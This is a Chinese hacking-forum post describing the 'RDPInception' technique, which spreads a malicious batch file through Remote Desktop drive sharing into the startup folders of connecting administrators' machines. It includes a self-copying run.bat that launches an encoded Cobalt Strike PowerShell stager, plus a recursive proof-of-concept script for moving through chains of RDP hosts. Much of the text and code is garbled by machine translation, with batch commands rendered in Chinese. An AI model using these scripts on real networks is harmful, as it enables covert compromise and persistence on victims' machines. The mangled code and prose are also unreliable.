Jump to content
This Wind

怎么进行内网攻击?

Recommended Posts

前言

通常认为远程桌面协议是连接远程计算机的安全且有用的应用程序,全球计算数以千计的 IT 专业人员和安全研究人员都在使用远程桌面协议管理人员自己的计算机设备,无论是用于远程的工作人员还是在安全的虚拟机环境中工作,RDP远程桌面客户端都是非常宝贵的工具然而,这一值得信赖的应用程序并不是完全可靠的,在我的。“内网渗透测试:初探远程桌面的安全问题》这篇文章中,我对夫妻如何罗已经常见的用于攻击 RDP 远程桌面的方式。本节我们就一个问题进行探讨,即通过远程桌面服务反打端连接他的客户端。

目前,在很多组织机构内部,针对DMZ或隔离网络区域内的计算机设备,目的是限制允许接入端口风险,只为这些设备开启3389端口,远程桌面来进行管理维护,这样,所有积极攻击手段都无法使用。那这样真的就万无一失?其实不是。本节来就研究如何通过RDP 攻击的方式我们针对这种网络设备进行渗透测试。

RDP攻击攻击的姿态有单一,本我们主要最简单的一种姿态来进行讲解,即通过挂载盘符进行RDP攻击攻击。其基本原理就是Windows远程桌面客户端mstsc 有一个盘下载选项,如果选择了选项,会开启共享共享功能,可以让你的磁盘再共享上共享,你可以通过远程SMB文件传输命令将文件传输到本地远程主机上文件复制到客户端主机上。如果我们通过相应的设置,在客户端连接主机下的一分钟,将远程主机上看客户端主机上准备好木马程序复制到主机的启动中,那么当客户端主机下一次启动时真要执行该木程序,客户端主机便可以成功上线。

Mstsc挂载盘符

这里利用了Windows远程桌面客户端mstsc.exe连接时的一个选项:

连接目标主机时,如果像上图那样在mstsc.exe中开启驱动器共享的话,那么客户端进行远程登陆后,在远程主机的“网络”中便可以发现一个名为“tsclient”的主机:

这实际上就是播放磁盘共享后,远程主机为连接他的客户端主机分配了名称。然后通过以下格式的命令便可以在远程主机上访问连接他的客户端主机了:

指令

1 2 3 4 dir \\tsclient\c # 本地连接远程主机的本机 C 盘目录 copy file \\tsclient\c # 将文件复制到连接远程主机的本机中 #\\tsclient\盘符

如下图,我们“tsclient”使用了客户端主机上的C盘目录:

如下图所示,我们使用“tsclient”将远程主机上的test.txt成功复制到了客户端主机:

新加坡访问方式使用SMB进行文件传输,本质上都是SMB协议,但使用tsclient无需进行身份认证。

但要的是,只有通过远程登陆的用户才可以在主机中访问 tsclient,其他在远程主机上本地登录的用户是一次也无法访问 tsclient 的。

RDP 攻击试验(初探)

实验环境:

真实攻击者已经通过各种手段拿国外的Windows Server 2012服务器,但是目标网络环境是为了限制其他端口端口的风险,只允许Windows Server 2012的开启3389端口,由主机更深的网络中的管理员Windows 10 使用远程来进行管理维护,那我们如何通过 Windows Server 2012 进行横向渗透拿下这台 Windows 10 管理员主机呢?

我们的思路是,远程主机的启动项中写入一个.bat脚本(run.bat),当一个客户端用户通过远程桌面连接到这个远程主机时,在登陆后会立即执行这个启动项中的run.bat 脚本。start.bat 脚本执行后会先遍历 tsclient 共享,发现 tsclient 共享后会自己复制到 tsclient 也就是连接远程主机的客户端主机上的启动项中,然后执行一个 Cobalt Strike 生成的PowerShell Stager 然后,当客户端主机重启或者注销重登录后会再次进行上述过程,同时可以客户端上线。下面我们演示演示过程。

首先简单写一个run.bat(仅提供测试使用):

指令

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #关闭回声响应功能 @回声关闭 echo正在更新 Windows ... #关闭回波响应功能 @回声关闭 #设置一个短时计数器,以确保软件tsclient进程被完全加载 超时1 > NUL 2 >&1 #如果当前远程主机上可以访问到tsclient,就可以成功通过tsclient run.bat 复制到客户端主机上 copy "C:\ProgramData\Microsoft\Windows\ Start Menu\Programs\StartUp\run.bat" "\ \tsclient\C\ProgramData\Microsoft\Windows\开始菜单\Programs\StartUp" #最后执行钴击生成的PowerShell的驿站 powershell.exe -nop -w隐藏-encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBMAFYAVwBhADIALwBpAFMAQgBiADkAbgBQAHcASwBmADIAZwBKAFUAQgBNAFcAYgBDAEQASgBqAEYAbw ...... AAgAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAkAHMALABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAOwA =

将写好 run.bat 放置远程主机 Windows Server 2012 的系统启动项目录中:

指令

1 C:\ ProgramData \ Microsoft \ Windows \开始 菜单\ Programs \ StartUp

然后将远程主机 Windows Server 2012 离线,等待客户端主机 Windows 10 的连接。虚拟桌面连接管理员就像通过远程桌面去管理这个 Windows Server 2012,当他在远程桌面上时,Windows Server 2012 启动项中的run.bat 成功执行,如下所示:

如下图所示,成功将 run.bat 感染到客户端主机 Windows 10 的启动项中:

当管理员的这台客户端主机重启或者注销登录之后,run.bat里面的PowerShell Stager就会启动,Windows 10就会上线:

RDP攻击试验(套娃)

在上一个亮点中,成功者以 Windows Server 2012 台服务器为据点向连接的客户端主机发起了 RDP 后端攻击,最终成为目标主机 Windows 10 台 Windows Server 2012 这成为一个“传染源”,只要他的客户端开启了盘符挂载功能上钩,就可以奔跑。蝙蝠传染到客户端主机的启动项中。那么假想这样的情况:

管理员更位于深山区的网络中,其使用自己的笔记本电脑 Windows 7 先通过远程桌面登陆了 Windows 10,又通过 Windows 10 登陆了 Windows Server 2012 的远程桌面。

不出意外,在 Windows 10 连接上 Windows Server 2012 时,run.bat 很多引入到 Windows 10 的启动项中,当 Windows 10 注销后,管理员再次使用他的 Windows 7 连接 Windows 10 的远程桌面,位于Windows 10 上的 run.bat 便又会传染到 Windows 7 的启动项中:

当管理员重启或者注销登录自己的Windows 7后,为Windows 7启动项中的run.bat再次执行,Windows 7重新上线:

如果Windows 7再次被其他机器通过远程桌面进行连接,那表情的攻击就会重演。攻击控制,最终形成一个攻击。

概念性验证POC

ActiveBreach 团队的 Vincent Yiu 可知这种攻击思路开发了一个概念性验证 PoC 脚本,项目地址:https://github.com/mdsecactivebreach/RDPInception。脚本写的很简单,演示验证类的测试使用:

指令

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 #关闭回声响应功能 @回声关闭 echo正在更新 Windows ... #关闭回波响应功能 @回声关闭 #设置一个短时计数器,以确保软件tsclient进程被完全加载 超时1 > NUL 2 >&1 #在RDP接入的客户端设备以及被控制的远程主机上创建临时目录 mkdir \\ts\c\temp > nul 2 >& 1 mkdir C:\temp > nul 2 >& 1 # 将我们的文件 run.bat 拷贝到以上两个目录中 copy run.bat C:\temp > nul 2 >& 1 copy run.bat \\tsclient\c\temp > nul 2 >& 1 # 确保在临时目录下不存在txt文件 del /q %TEMP% \temp_00.txt > nul 2 >& 1 #在RDP客户端主机以及被控远程主机上识别出所有系统启动目录 set dirs= dir /a:d /b /s C:\users\*Startup* set dirs2= dir /a:d /b /s \ \tsclient\c\users\*启动* 回声| %dirs% | findstr /i "Microsoft\Windows\开始菜单\Programs\Startup">>" %TEMP% \temp_00.txt" echo | %dirs2% | findstr /i "Microsoft\Windows\开始菜单\Programs\Startup">>" %TEMP% \temp_00.txt" # 将上述run.bat 全部文件目录到以下识别出的系统启动目录下 for /"tokens=*" %%a in ( % P % \temp_00.txt) DO ( copy run.bat " % %a " > nul 2 >& 1 copy C:\temp\run.bat " %%a " > nul 2 >& 1 copy \\tsclient\c\temp\run.bat " %%a " > nul 2 > & 1 ) # 清理临时文件夹 del /q %TEMP% \temp_00.txt > nul 2 >& 1 #执行最后Cobalt Strike 生成的PowerShell Stager REM if "WINDOMAIN"="%USERDOMAIN%"( powershell.exe <cradle here> )

利用该脚本可以以递归方式对 RDP 接入设备的人数计算机发起攻击。目前,该攻击已有效深入 ActiveBreach 团队多种模拟评估和渗透渗透测试场景中。大体思路与之前的两个故事类似:

在通信测试中,如果我们获得某台服务器 C 的控制权,而最终目标 PC X,但由于对方是高度安全的网络环境限制,我们只能通过 RDP 攻击的方式,通过接入 C 的服务器B 进行攻击控制,之后,对接入 B 的服务器 A 进行攻击控制,最终,对接入 A 的 PC X 形成攻击控制。

整个攻击链如下:

PC X RDP 到服务器 A

服务器 A RDP 到服务器 B

服务器 B RDP 到服务器 C

在这整条攻击中,攻击者可以在任意计算机设备中发起 RDPInception 攻击。就可以循环来获得所有设备的控制权。而追求者唯一的追求就是在一个设备上发起RDP发起攻击,然后,敏锐的目光等待管理员发起RDP远程桌面连接请求,其他的一次请求无需蹲点守候持续监控,对备考部署好方法,姜太公自动完成,自学那些愿者陆续上钩。这种攻击技术不需要用户凭证或其他漏洞利用,可在端口和应用等接口尽权高度的网络环境下横向渗透中,当横向渗透技术或提提操作被用完使用,陷入“黔驴穷”和一筹莫展状况时,可考虑使用招商技术。

限制条件

C最下限制条件就是客户端的客户端必须要开启驱动器盘共享,但是默认情况mstsc.exe是会不活动磁盘共享功能的。意,认为没人会闲着没事特意把 mstsc.exe 的驱动程序打开。但正常情况下,且不说同时维护多台主机的运维人员,即使是普通用户,当他需要本地与远程主机有天堂的时候文件传输时,打开驱动器后通过简单的地文件拖拽可以实现本地主机与远程主机的文件传输,这就是非常方便的。

悲剧没有开启驱动器,可以用一些比较笨拙的用户手段,比如在运行。脚本找不到挂载真的磁盘的情况下,直接结束pclip.exe进程使管理员无法使用剪切板实现功能主机与远程主机之间的复制粘贴,鼠标在音乐原点的状态下,直接开启驱动器挂载上载,哦。

结尾……

Link to post
Share on other sites

Follow: 世界中文黑客论坛由CNHACKTEAM[CHT]创建,汇集国内外技术人员,这是一群研究网安黑客攻防技术领域的专家.

法务要求丨Legal丨закон丨القانون

请在学习期间遵守所在国家相关法律,否则后果自负!

Пожалуйста, соблюдайте законы страны, в которой вы находитесь, во время обучения, или будут последствия!

勉強期間中に該当する国の法律を守ってください。そうでなければ結果は自己責任です。

Please abide by the relevant laws of your country during your study, or you will be responsible for the consequences!

官方旗下项目丨About our project

声明:为净化国内外网络安全请勿发布违反国家国定的文章,团队不参与任何涉及黑色产业/攻击/渗透各国正规网站活动,只做网络安全研究,研究网络攻防技术。

世界中文黑客论坛由CNHACKTEAM(CHT)创建,汇集国内外技术人员,这是一群研究网络安全、黑客攻防技术领域的专家,你也可以加入我们!

黑客攻防  技术问答  0day  Hack News  CHT Team  使用指南  商城/Mall  商城订单查询  捐赠/donations  在线用户  X  联系邮箱email:[email protected]

友情链接丨Link丨Связь дружбы

CNHACKTEAM   CHT team official website     www.hac-ker.com     hacked.com.cn     www.77169.net     www.ddosi.com

申请或请未补上链接者联系我们的邮箱,谢谢!

×
×
  • Create New...

Important Information

Please use your computer to visit our website; Please agree to our website rules!Guidelines